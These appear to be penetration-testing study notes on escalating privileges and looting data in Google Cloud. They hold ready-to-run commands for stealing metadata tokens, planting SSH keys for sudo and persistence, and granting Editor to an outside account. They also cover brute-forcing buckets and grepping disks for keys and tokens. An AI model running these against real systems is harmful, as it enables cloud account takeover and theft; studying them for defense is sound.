GCP Penetration Testing

Privesc and Post-Exploitation in GCP by Chris Moberly

https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/

GCP Fundamentals

- raw HTTP API call for a given `gcloud` command can be found by appending `--log-http` to the command

Recursively enumerate an instance's metadata:

```
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
```

- you may find some juicy information in the metadata including private SSH keys

- GCP uses a resource hierarchy
  - similar to traditional filesystem structure:

```
Organization
--> Folders
  --> Projects
    --> Resources
```

  - therefore, if a user has a certain permission to an organization, that permission gets propagated to folders, projects, and resources

Service Accounts

- every GCP project has a default service account
  - this service account gets assigned to any resource created within that project as well

Default service accounts look like the following:

```
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
```

Custom service accounts look like the following:

```
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
```

Access Scopes

- the access scope of a service account can be seen by querying the `169.254.169.254` IP such as in the example below:

```
$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \
    -H 'Metadata-Flavor:Google'

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
```

- the `devstorage.read_only` default scope allows read access to all storage buckets within the specified project
- access scopes should not be relied on as a boundary for a service account's permissions
- when `cloud-platform` is specified for an instance, the service account can attempt to authenticate to all API endpoints
    - this authentication will be successful if the permissions of the storage account allow it
- even though a service account may have permissions to access a certain API endpoint, if this endpoint is not allowed by the access scope, successful authentication cannot occur

IAM

Primitive roles

- `Owner`, `Editor`, and `Viewer`
- !!!! default service account in every project is given the `Editor` role (insecure!!)

Predefined roles

- roles managed by Google (e.g. `compute.instanceAdmin`)

Custom roles

- provides admins the ability to create their own set of permissions for a role

To see roles assigned to each member of a project:

`gcloud projects get-iam-policy <PROJECT_ID>`

Enumeration

Command	Description
`gcloud organizations list`	Get organization ID
`gcloud organizations get-iam-policy`	View user permissions within organization

- note that the permissions within an organization are applied to all projects within the organization, which are therefore applied to all resources within that project, etc.

Application Default Credentials

Service Account Token

Token can be retrieved from metadata service:

Request

```
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
```

Response

```
{
      "access_token":"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA",
      "expires_in":3599,
```

```
    "token_type":"Bearer"
}
```

Application Default Credentials

- alternative to pulling a token from the metadata service
  - this method is used when implementing one of Google's official GCP client libraries

The following are the steps taken to search for credentials when using the GCP client libraries:

1. Code will check source code
   a. The service account key file is checked
2. The `GOOGLE_APPLICATION_CREDENTIALS` environment variable is checked
   a. This environment variable can be set to the location of a service account key file
3. The default token in the metadata service is used.

- the default token in the metadata service is used only if 1 or 2 is not found because the metadata service token is confined within access scopes and is temporary

Privilege Escalation

⭐ Always make sure to check if the principle of least-privilege is being applied throughout the environment

SSRF

The privesc techniques described below are written from the perspective of internal access to a compromised instance. However, they can also be performed if you find SSRF in some cases.

Insecure Metadata Endpoint

If the client has a `/v1beta` enabled, you can get the access token without the special header:

```
curl http://metadata.google.internal/computeMetadata/v1beta/instance/service-accounts/default/token
```

Otherwise, you must query `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` with a custom header set

- note the authorization token expires within 1 hour by default

Compute Instances

General

- just because an access scope blocks a certain command, does not mean that any variations of that command cannot be run
  - e.g. if `gsutil ls` returns no storage buckets, you may still be able to query a storage bucket by specifying the name of the bucket for example `gsutil ls gs://storage_bucket_example-1234567`

Enumerate scripts within the following areas:

1. Instance metadata

2. Local filesystem
3. Service unit files
4. etc.

- scripts help tell what the instance is meant for and what it has access to

Modifying Instance Metadata

Default Service Account

The following access scopes are offered for default service accounts:

1. Allow default access (default)
2. Allow full access to all Cloud APIs
3. Set access for each API

- if 3 (with compute API access) or 2 is enabled, privesc is potentially possible

Custom Service Account

- Google discourages using access scopes for custom service accounts

One of the following privileges necessary for privesc:

1. `compute.instances.setMetadata`
2. `compute.projects.setCommonInstanceMetadata`

It is necessary to be able to authenticate to either `https://www.googleapis.com/auth/compute` or `https://www.googleapis.com/auth/cloud-platform`

Adding SSH Key to Metadata

- Linux GCP systems typically run Python Linux Guest Environment within Compute Engine scripts
  - account daemon queries metadata for changes to authorized SSH keys, and will add a new key to an existing user or a user with `sudo` rights
  - if custom project metadata can be modified, persistence is established on all systems within the GCP project running the accounts daemon `Block project-wide SSH keys` option enabled

Adding SSH Key to Existing Privileged User

`gcluod compute instance describe <INSTANCE> --zone <ZONE>`

This returns something like the following:

```
[...]
- key: ssh-keys
     value: |-
       high-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSyS
m5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK
+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/t
j9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ high-priv-user
       low-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1Nain
YfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbk[...]
```

1. Create a key for `high-priv-user`

a. `ssh-keygen -t rsa -C "high-priv-user" -f ./key -P ""`

2. Edit the public key so that it matches the format of the `high-priv-user` public key file
3. Add the new key to the instance metadata
   a. `gcloud compute instances add-metadata <INSTANCE> --metadata-from-file ssh-keys=ssh_public_file.txt`

Creating New User with SSH Key

- the same process can be used (1-3), however a new username should be specified
- this gives the new user `sudo` permissions

Sudo to Existing Session

Use the following command to generate a new SSH key, add your current username to `google-sudoers` group, and initiate an SSH session:

`gcloud compute ssh <INSTANCE_NAME>`

- note this may cause more changes to the target instance's metadata than the manual step-by-step process described above
- this uses your current username

OS Login

- links Google user or service account to Linux identity
- IAM permissions dictate the authorization of this request
- enabled at project or instance level with the metadata key of `enable-oslogin = TRUE`
- 2FA OS login enabled with `enable-oslogin-2fa = TRUE`
- `roles/compute.osLogin` and `roles/compute.osAdminLogin` control SSH access to instances with enabled OS Login
  - note the former is without sudo access while the latter is with sudo access

- by adding one's SSH key to the project metadata, access to all instances can be achieved as long as the instance does not have the `Block pojrect-wide SSH keys` option enabled:
  `gcloud compute project-info add-metadata --metadata-from-file ssh-keys=my_public_ssh-key.txt`

Bypassing Access Scopes

Access scopes are not a security mechanism (stated by Google themselves)

Find Token Access Scopes

```
TOKEN='gcloud auth print-access-token'
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
```

- access scopes have "no effect when making requests not authenticated through OAuth"
  - search for an RSA private key to authenticate to the Google Cloud API and request a new OAuth token
    `gcloud auth activate-service-account --key-file <FILE>`

Check for Service Accounts with Exported Key Files

```
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
    echo Looking for keys for $i:
    gcloud iam service-accounts keys list --iam-account $i
done
```

- default name for service account key file is `<PROJECT_ID>-<PORTION_OF_KEY_ID>.json`

- if access scopes are too restrictive, check if there is another instance that is more permissive
  - `gcloud compute instances list --quiet`
- check if an instance has the default service account (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`)

Steal GCloud Authorizations

- look for the following files:

```
~/.config/gcloud/credentials.db
~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
~/.credentials.json
```

Service Account Impersonation

Three ways to impersonate a service account:

1. Authentication using RSA private keys
2. Authorization using Cloud IAM policies
3. Deploying jobs on GCP services

- can potentially impersonate another account with the `iam.serviceAccountTokenCreator` permission
- if you have `Owner` access, you can try logging into the web interface
  - service accounts can't access web interface, but you can provide `Editor` access to any arbitrary `@gmail.com` account and then login (can't provide `Owner` access)

  ```
  gcloud projects add-iam-policy-binding <PROJECT> --member user:0xd4y@gmail.com --role roles/editor
  ```

- you can use `--impersonate-service-account` flag to execute a command using the specified service account:
  - For example: `gcloud compute instances list --impersonate-service-account <SERVICE_ACCOUNT>`

Accessing Databases

- check database backups in storage buckets, and of course check other juicy information within instances

- some `gcloud` commands are made specifically for exporting data
  - need to write database to storage bucket first before downloading it

Finding databases across project

```
Cloud SQL
=============
gcloud sql instances list
gcloud sql databases list --instance [INSTANCE]

Cloud Spanner
==============
gcloud spanner instances list
gcloud spanner databases list --instance [INSTANCE]

Cloud Bigtable
==============
gcloud bigtable instances list
```

Storage Buckets

- note that default instance permissions allow read access to storage buckets
- can be found with wordlists, source code, etc.
- use `gsutil` to interact with storage buckets
- if `gsutil ls` returns access denied, access to storage buckets is still potentially possible, but requires the bucket name to be specified

Bash Oneliner for Bruteforcing Bucket Names

`for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done`

Decrypting Secrets

- cryptographic keys stored within Cloud KMS (Key Management Service)
- individual keys stored in key rings

Enumeration

- without GCloud enumeration permissions, try searching for keys in documentation, scripts, and bash history

Command	Description
`gcloud kms keyrings list --location global`	Lists global keyrings available
`gcloud kms keys list --keyring <KEYRING_NAME> --location global`	Lists keys inside a keyring
`gcloud kms decrypt --ciphertext-file=<INFILE> --plaintext-file=<OUTFILE> --key <KEY> --keyring <KEYRING> --location global`	Decrypts file using a key

Serial Console Logs

- output from compute instances written from OS and BIOS to serial ports

Two ways to view the log files from the serial ports:

1. Via Compute API
   - can be executed even with the `Compute: Read Only` access scope restriction

- `gcloud compute instances get-serial-port-output <INSTANCE_NAME> --port <PORT> --start start --zone <ZONE>`

2. Via Cloud Logging
   - serial logs stored in Cloud Logging if enabled by admin
   - can be accessed with logging read permissions

Custom Images

- some images may contain sensitive information which you can exfiltrate and use for a new VM

Find List of Custom Images

`gcloud compute images list --no-standard-images`

Export Images

`gcloud compute images export --image <IMAGE_NAME> --export-format qcow2 --destination-uri <BUCKET>`

Custom Templates

- instance templates allow deployment of VMs with specific configurations
  - these configurations can tell the VM which image to use, startup script, labels, etc.

Command	Description
`gcloud compute instance-templates list`	Lists available templates
`gcloud compute instance-templates describe <TEMPLATE_NAME>`	Get details of specific template

- a template can include sensitive data that can be discovered via the instance metadata

StackDriver Logging

- StackDriver is a Google monitoring and logging service
  - Google's equivalent of AWS CloudWatch and CloudTrail
- compute instances require `write` access to write to log files, however if `read` permissions are also granted, then logs can be read

Command	Description
`gcloud logging logs list`	Lists log folders in current project
`gcloud logging read <LOG_FOLDER>`	Read contents of specific log folder
`gcloud logging write <LOG_FOLDER> <MESSAGE>`	Write arbitrary data to a specific log folder. Can be used for distraction.

Serverless Services

Cloud Functions

- AWS Lambda equivalent
- environment variables can contain secrets just like in AWS

Command	Description
`gcloud functions list`	Lists available cloud functions
`gcloud functions describe <FUNCTION_NAME>`	Display function configuration and defined environment

	variables
`gcloud functions logs read <FUNCTION_NAME>`	Get logs of the function executions

App Engine

- Google App Engine is a serverless cloud computing platform focusing on scalability
- secrets can be stored in environment variables

Command	Description
`gcloud app versions list`	Lists existing versions for all services in the App Engine server
`gcloud app describe <APP>`	Displays information about a specific app

Cloud Run

- check environment variables for secrets
- opens web server on port 8080 and waits for HTTP GET request
  - upon receiving such a request, a job is executed which is logged and outputted via an HTTP response
- jobs run in Kubernetes clusters either fully managed by Google or partially managed through Anthos
  - can be configured with IAM permissions to control which identities can start the job
  - can be configured to be unauthenticated, allowing anyone with the URL to trigger the job and view the log output
- be careful about what those jobs do because it could affect production!

Command	Description
`gcloud run services list --platform=managed --format=json` `gcloud run services list --platform=gke --format=json`	Lists services across available platforms
1. `curl <URL>` 2. `curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <URL>`	1. Attempt to trigger a job as an unauthenticated user 2. Trigger a job as authenticated user

AI Platform

- look for models and jobs

Command	Description
`gcloud ai-platforms models list --format=json`	Lists models
`gcloud ai-platform jobs list --format=json`	Lists jobs

Cloud Pub/Sub

- service allowing applications to send messages between each other

Pub/Sub is made up of the following:

1. Topic - logical group of messages
2. Subscriptions - Allows applications to receive a stream of messages related to a topic, which can be enabled via push notifications (for some Google services), or pull requests (for custom services)

3. Messages - data (optionally metadata as well)

Command	Description
`gcloud pubsub topics list`	Lists topics in project
`gcloud pubsub subscrpitions list --format=json`	Lists subscriptions for all topics
`gcloud pubsub subscriptions pull <SUBSCRIPTION_NAME>`	Pulls one or more messages from a subscriptions

- modification of messages can change behavior of application depending on how the application interacts with the messages
- the pull command could be used to mimic valid applications
  - some messages can be requested that have not yet been delivered
  - this command should not send an ACK back and should not impact other apps
- an attacker can ACK a message before it is received by the app to avoid some detection
- asking for large sets of data could impact applications (be careful!)

Cloud Source Repos

- designed like Git so
- can contain juicy info

Command	Description
`gcloud source repos list`	Enumerate available repos
`gcloud source repos clone <REPO_NAME>`	Clone a repo

Cloud Filestore

- database designed for storing small documents
- like AWS DynamoDB
- filestores can be mounted

List Filestore Instances

`gcloud filestore instances list --format=json`

Kubernetes

- container service for scaling, management, and software deployment

Command	Description
`gcloud container clusters list`	List container clusters in current project
`gcloud container clusters get-credentials <CLUSTER_NAME> --region <REGION>`	Authenticates your `~/.kube/config` file to include the cluster so that you can use `kubectl`.
`kubectl cluster-info`	Get information about the cluster.

Kubectl cheat sheet: https://kubernetes.io/docs/reference/kubectl/cheatsheet/

Secrets Management

- stores passwords, API keys, certificates, etc.

Command	Description
`gcloud secrets list`	Lists secrets in vault
`gcloud secrets describe <SECRET>`	Get the value of the secret.

Local System Secrets

- with internal access to a system search temporary directories, history files, environment variables, scripts, etc.

```
TARGET_DIR="/path/to/whatever"

# Service account keys
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
    "$TARGET_DIR"

# Legacy GCP creds
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
    "$TARGET_DIR"

# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
    "$TARGET_DIR"

# Google OAuth tokens
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
    "$TARGET_DIR"

# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
    "$TARGET_DIR"

# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
    "$TARGET_DIR"

# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
    "$TARGET_DIR"
```

Networking

Firewall

- every project is given a default VPC which contains the following rules for all instances:
    1. `default-allow-internal` - allows all traffic from other instances on the same network
    2. `default-allow-ssh` - allows port 22 traffic from everywhere
    3. `default-allow-rdp` - allows port 3389 traffic from everywhere
    4. `default-allow-icmp` - allows ping from everywhere

Enumeration

View all subnets in current project:

`gcloud compute networks subnets list`

View all internal/external IP addresses in project:

`gcloud compute instances list`

View open ports of all instances

- **Running nmap from within an instance can trigger an alert**
  - likelihood of trigger increases if scanning public IP addresses outside of current project
- there may be an insecure application that can be exploited to achieve elevated access
- port enumeration should be interpreted by viewing firewall rules, network tags, service accounts, and instances within a VPC (see gcp_firewall_enum)

G Suite

- uses completely different API from Google Cloud
- GCP service accounts can access G Suite data using domain-wide delegation
  - can be viewed in the web interface via IAM → Service Accounts

Authenticating to G Suite

- need exported service accounts credentials in JSON format
- service accounts cannot authenticate to G Suite, and therefore you need to impersonate valid G Suite users
  - (see gcp_delegation)

Tools

gcp_firewall_enum

- port scans for compute instances exposed to the internet

gcp_enum

- script full of enumeration commands

gcp_misc

- a collection of tools for attacking GCP environments
- contains gcp_delegation for listing user directory and creating a new admin account